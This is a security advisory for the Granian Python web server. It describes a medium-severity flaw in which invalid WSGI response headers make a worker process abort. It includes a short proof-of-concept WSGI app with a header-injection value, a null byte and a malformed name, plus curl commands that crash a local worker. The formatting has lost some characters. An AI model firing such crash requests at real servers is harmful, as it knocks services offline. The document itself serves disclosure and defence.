PT-2026-59165 · Pypi · Granian
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Summary
Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses
.unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a
500 instead kill the worker process.Details
If either conversion fails,
.unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.Preconditions
The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.
Examples include:
- a header name containing a space
- a header value containing
r - a header value containing a null byte
These are realistic failure modes for applications that reflect user-controlled data into headers such as
Location, Content Disposition, or custom response headers.PoC
Step 1
start Granian with the PoC WSGI app
python
# app.py
def app(environ, start response):
path = environ.get("PATH INFO", "/")
if path == "/crash-name":
headers = [("X Bad Name", "value")]
elif path == "/crash-value":
headers = [("Content-Type", "text/htmlr
X-Injected: evil")]
elif path == "/crash-null":
headers = [("X-Custom", "valuex00end")]
else:
start response("200 OK", [("Content-Type", "text/plain")])
return [b"OK - server alive
"]
start response("200 OK", headers)
return [b"This response kills the worker
"]
bash
granian --interface wsgi app:app --host 127.0.0.1 --port 8000Step 2
trigger the crash (any one of these is sufficient)
bash
curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-nullExpected result:
- the worker aborts after any of the crash paths
- subsequent requests fail until the worker is restarted
Impact
- Worker process denial of service
- A single bad response kills one worker
- Application bugs become process crashes instead of request-scoped failures
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Granian